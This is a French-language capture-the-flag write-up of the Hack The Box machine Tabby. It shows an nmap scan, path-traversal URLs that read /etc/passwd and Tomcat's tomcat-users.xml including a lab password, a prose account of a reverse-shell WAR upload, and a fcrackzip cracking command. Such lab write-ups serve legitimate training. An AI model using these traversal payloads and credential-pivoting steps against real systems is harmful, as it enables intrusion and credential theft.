Note utilisateur: 4 / 5

Etoiles activesEtoiles activesEtoiles activesEtoiles activesEtoiles inactives
 

Write up hack the box [HTB] Tabby

 

Un des sites de challenges préférés de l'équipe CTF LGHM

pwne les tous

  

La capture du drapeau ou « capturez le drapeau » (souvent abrégé en CTF pour Capture the Flag), est un mode de jeu par équipe . Ce type de jeu a été adapté dans divers domaines ainsi qu'en cybersécuritévoir https://fr.wikipedia.org/wiki/Capture_du_drapeau certains pour passer le temps font des mots croisés, d'autres du sudoku, nous c'est du CTF :-)

Comment devenir pentesteur? Résoudre les énigmes CTF, et c'est facile avec l'outil pwnator LGHM by Ponemon technologies qui est un framework qui résume les principales étapes du pentest. Ideal pour récolter un max de points lors des épreuves CTF dans les conférences infosec . Mais avant, il faut s'entrainer: Pour commencer, voici comment obtenir un code de parrainage hack the box

 

Bienvenue dans le writeup de Tabby! Il s'agit d'une machine virtuelle Linux de facile et les joueurs doivent trouver une faille dans le serveur Java Tomcat . C'est parti!

  

Write up hack the box [HTB] Tabby: Nmap

$ nmap -Pn — open -sC -sV -p- -T4 10.10.10.194

$ nmap -sS -sC -sV trace -oN scan 

 

Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-21 22:45 IST
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 22:45
Completed NSE at 22:45, 0.00s elapsed
Initiating NSE at 22:45
Completed NSE at 22:45, 0.00s elapsed
Initiating NSE at 22:45
Completed NSE at 22:45, 0.00s elapsed
Initiating Ping Scan at 22:45
Scanning 10.10.10.194 [4 ports]
Completed Ping Scan at 22:45, 0.56s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 22:45
Scanning tabby.htb (10.10.10.194) [1000 ports]
Discovered open port 22/tcp on 10.10.10.194
Discovered open port 80/tcp on 10.10.10.194
Discovered open port 8080/tcp on 10.10.10.194
Completed SYN Stealth Scan at 22:45, 2.73s elapsed (1000 total ports)
Initiating Service scan at 22:45
Scanning 3 services on tabby.htb (10.10.10.194)
Completed Service scan at 22:45, 7.34s elapsed (3 services on 1 host)
Initiating OS detection (try #1) against tabby.htb (10.10.10.194)
Retrying OS detection (try #2) against tabby.htb (10.10.10.194)
Initiating Traceroute at 22:45
Completed Traceroute at 22:45, 6.34s elapsed
NSE: Script scanning 10.10.10.194.
Initiating NSE at 22:45
Completed NSE at 22:45, 8.54s elapsed
Initiating NSE at 22:45
Completed NSE at 22:46, 2.00s elapsed
Initiating NSE at 22:46
Completed NSE at 22:46, 0.00s elapsed
Nmap scan report for tabby.htb (10.10.10.194)
Host is up (0.42s latency).
Not shown: 802 closed ports, 195 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 338ABBB5EA8D80B9869555ECA253D49D
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Mega Hosting
8080/tcp open http Apache Tomcat
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat
Aggressive OS guesses: Linux 2.6.32 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.2 - 4.9 (92%), Linux 3.7 - 3.10 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 21 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 995/tcp)
HOP RTT ADDRESS
1 ... 20
21 284.13 ms tabby.htb (10.10.10.194)

NSE: Script Post-scanning.
Initiating NSE at 22:46
Completed NSE at 22:46, 0.00s elapsed
Initiating NSE at 22:46
Completed NSE at 22:46, 0.00s elapsed
Initiating NSE at 22:46
Completed NSE at 22:46, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.56 seconds
Raw packets sent: 1560 (72.546KB) | Rcvd: 837 (34.270KB)

 

Une question? Posez-la ici

Vous voulez aussi participer au concours de writeups et gagner un smartphone? Contactez la Red Team LGHM

Write up hack the box [HTB] Tabby:  le port 22 est ouvert

 

Mais ne donne rien. Je perds mon temps à jouer avec SSH inutilement.

 

Write up hack the box [HTB] Tabby:  le port 80 donne quelquechose d'interessant

 

http://megahosting.htb/news.php?file=statement

Une page d'hebergeur sur un serveur web:

Mega Hosting est essentiellement une société d'hébergement Web. Nous nous concentrons fortement sur la fourniture des VPS, des serveurs partagés, des serveurs dédiés, de l'hébergement SEO, de l'hébergement Wordpress et de solutions innovantes à des clients du monde entier. Depuis la formation, nous avons travaillé dur pour faire de Mega Hosting le leader des services VPS et d'hébergement Web de qualité. Nous prenons soin et apprécions chaque client et travaillons avec dévouement pour nous assurer que chaque client devrait obtenir la meilleure expérience et satisfaction.

Chez Mega hosting, ici, nous croyons fermement que la construction et le maintien d'une organisation réputée peuvent être réalisés avec la satisfaction du client. Nous sommes une société d'hébergement Web avec un fort accent sur la qualité et des solutions d'hébergement innovantes. Notre support répond aux besoins de chaque client séparément de leur expertise et de leurs exigences ou préférences. Notre service d'assistance 24/7/365 à la pointe de la technologie assure toujours la satisfaction du client en prenant soin de ses serveurs, applications, etc.

  

Write up hack the box [HTB] Tabby:  le port 8080 donne quelquechose d'interessant

 

 

http://tabby:8080

ça marche!
Si vous voyez cette page via un navigateur Web, cela signifie que vous avez correctement configuré Tomcat. Toutes nos félicitations!

Il s'agit de la page d'accueil Tomcat par défaut. Il peut être trouvé sur le système de fichiers local à: /var/lib/tomcat9/webapps/ROOT/index.html

Les vétérans de Tomcat pourraient être heureux d'apprendre que cette instance système de Tomcat est installée avec CATALINA_HOME dans / usr / share / tomcat9 et CATALINA_BASE dans / var / lib / tomcat9, en suivant les règles de / usr / share / doc / tomcat9-common / RUNNING .txt.gz.

Vous pourriez envisager d'installer les packages suivants, si vous ne l'avez pas déjà fait:

tomcat9-docs: ce package installe une application Web qui permet de parcourir la documentation de Tomcat 9 localement. Une fois installé, vous pouvez y accéder en cliquant ici.

tomcat9-examples: ce package installe une application Web qui permet d'accéder aux exemples Tomcat 9 Servlet et JSP. Une fois installé, vous pouvez y accéder en cliquant ici.

tomcat9-admin: ce package installe deux applications Web qui peuvent aider à gérer cette instance Tomcat. Une fois installé, vous pouvez accéder à la webapp du gestionnaire et à la webapp du gestionnaire d'hôte.

REMARQUE: Pour des raisons de sécurité, l'utilisation de l'application Web de gestionnaire est réservée aux utilisateurs ayant le rôle "manager-gui". La webapp du gestionnaire d'hôte est réservée aux utilisateurs ayant le rôle "admin-gui". Les utilisateurs sont définis dans /etc/tomcat9/tomcat-users.xml.

 

Write up hack the box [HTB] Tabby:  Directory Fuzzing  avec Owasp ZAP

 

Je lance un scan Owasp ZAP sur http://magahosting.htb qui donne ...

 commençons l'exploration du répertoire Web

Le fichier passwd est joignable:

 http://tabby/news.php?file=../../../../../../../../etc/passwd

root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologinDebian-exim:x:101:103::/var/spool/exim4:/bin/falsestatd:x:102:65534::/var/lib/nfs:/bin/false

etc... 

Write up hack the box [HTB] Tabby : Analyse du fichier config xml Tomcat

 

http://tabby/news.php?file=../../../../../usr/share/tomcat9/tomcat-users.xml

<tomcat-users xmlns="http://tomcat.apache.org/xml"

              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"

              version="1.0">

  <role rolename="manager-gui"/>

  <role rolename="manager-script"/>

  <user username="tomcat" password="$3cureP4s5w0rd123!" roles="manager-script,manager-gui"/>

</tomcat-users>

 

 Ce fichier fournit des informations d'identification pour l'utilisateur tomcat avec le mot de passe $3cureP4s5w0rd123!

 

 

 

 

Une question? Posez-la ici

Vous voulez aussi participer au concours de writeups et gagner un smartphone? Contactez la Red Team LGHM

Write up hack the box [HTB] Tabby  : Lecture de la doc Tomcat

Je suis resté coincé à ce stade pendant un certain temps, j'ai donc fini par regarder mes notes et à chercher sur Google pour voir s'il y avait des vulnérabilités dans Apache Tomcat 9 qui pourraient m'aider à obtenir un shell.

Mes recherches m'ont montré qu'Apache Tomcat 9 utilise des fichiers WAR (Web Application Archive) pour déployer des applications Web via des servlets. Ce sont un peu comme des fichiers JAR, mais contiennent tout ce dont l'application web a besoin (comme JavaScript, CSS, etc.), et selon la documentation de support d'Apache Tomcat 9 sont contrôlés via les commandes de l'application gestionnaire située ici: 

Il y avait des preuves dans le domaine public qu'Apache Tomcat 9 était auparavant vulnérable à une vulnérabilité de téléchargement de fichiers WAR malveillants, mais je ne savais pas si la version spécifique exécutée sur ce serveur avait été corrigée ou non. J'ai décidé d'essayer quand même.

Ma première étape a été de rechercher un module que je pouvais utiliser dans Metasploit, puis de voir si je pouvais en tirer parti pour créer et télécharger une porte dérobée de fichier WAR personnalisée. J'ai opté pour le module java / jsp_shell_reverse_tcp et configuré un shell inversé pour écouter une connexion depuis ma machine 10.10.14.62 sur le port 1338.

 

J'ai ensuite utilisé curl pour pousser le fichier WAR nouvellement généré vers l'application de gestionnaire Apache Tomcat 9 en utilisant les informations d'identification que j'avais trouvées auparavant. Cependant, avant d'exécuter cela, je devais configurer un écouteur à l'aide de netcat sur ma propre machine pour écouter les demandes de connexion sur le port souhaité 1338

 

netcat a confirmé que le shell inversé était actif!  Je pouvais voir que j'étais connecté en tant qu'utilisateur tomcat

 

 

Une question? Posez-la ici

Vous voulez aussi participer au concours de writeups et gagner un smartphone? Contactez la Red Team LGHM

 

Write up hack the box [HTB] Tabby  : un fichier 16162020_backup.zip

 

J'ai ensuite créé un shell tty pour m'aider à naviguer et à interagir. J'ai jeté un coup d'œil et je me suis déplacé dans le répertoire / var / www / html / files qui répertorie ce qui semblait être un fichier de sauvegarde.J'ai converti le fichier compressé en base64 et copié la sortie détaillée, puis j'ai utilisé echo pour reconstruire le fichier localement sur ma machine.

Lorsque j'ai tenté d'accéder au fichier:

/var/www/html/files/16162020_backup.zip

j'ai pu voir qu'il était protégé par un mot de passe. J'ai lancé frackzip et l'ai exécuté contre la célèbre liste de mots rockyou.txt pour voir si je pouvais forcer le mot de passe.

Après environ 15 secondes, frackzip a trouvé le mot de passe admin @ it

$ fcrackzip -D -p /usr/share/dict/rockyou.txt 16162020_backup.zip 
possible pw found: admin@it ()

Reconnaissant que les mots de passe sont parfois partagés, je suis ensuite retourné dans mon shell et j'ai essayé d'utiliser ce mot de passe pour tenter une élévation de privilèges.

 

J'ai trouvé que cela fonctionnait avec succès sur l'utilisateur ash. J'ai ensuite répertorié le contenu du répertoire et ouvert le fichier user.txt qui m'a donné le FLAG d'utilisateur.

 

 

J'espère que vous avez apprécié cet article et merci d'avoir lu!

Un petit bonjour aux copains en passant:  Quanthor_ic, Nics, Nofix , SIben, Trollolol, Aswane, Major_Tom, blueshit, PlaidCTF, Corentin , loulous24, Neit, redoste, Ninjarchiviste, S01den, hexabeast, shd33, H4ckd4ddy, Slowerzs, Rocha01Nicolas, ethicalhack3r , SoEasY, Voydstack, Worty, xbquo, Yir, Zarked, Tek_,  SushiMaki, OxUKN, Bdenneu, T0t0r04, BZHugs, Aether, LowOrbitIonCanon, Gabrielle_BGB, CanardMandarin , Jardin_Acide, Le vrai faux Serguei, rabbindesbois, ENOENT, face0xff, Forgi, 0ni0n5, Biotienne, JoanSivion, Fab13N, MathisHammel , Damien, G3rmon,  $in , yaumn, plean... ils se reconnaitront!

Cet article reflète exclusivement l'opinion de ses auteurs et n’engage en aucune façon Consultingit. J'espère que ça vous a plu.

 

Vos commentaires/remarques sont les bienvenus: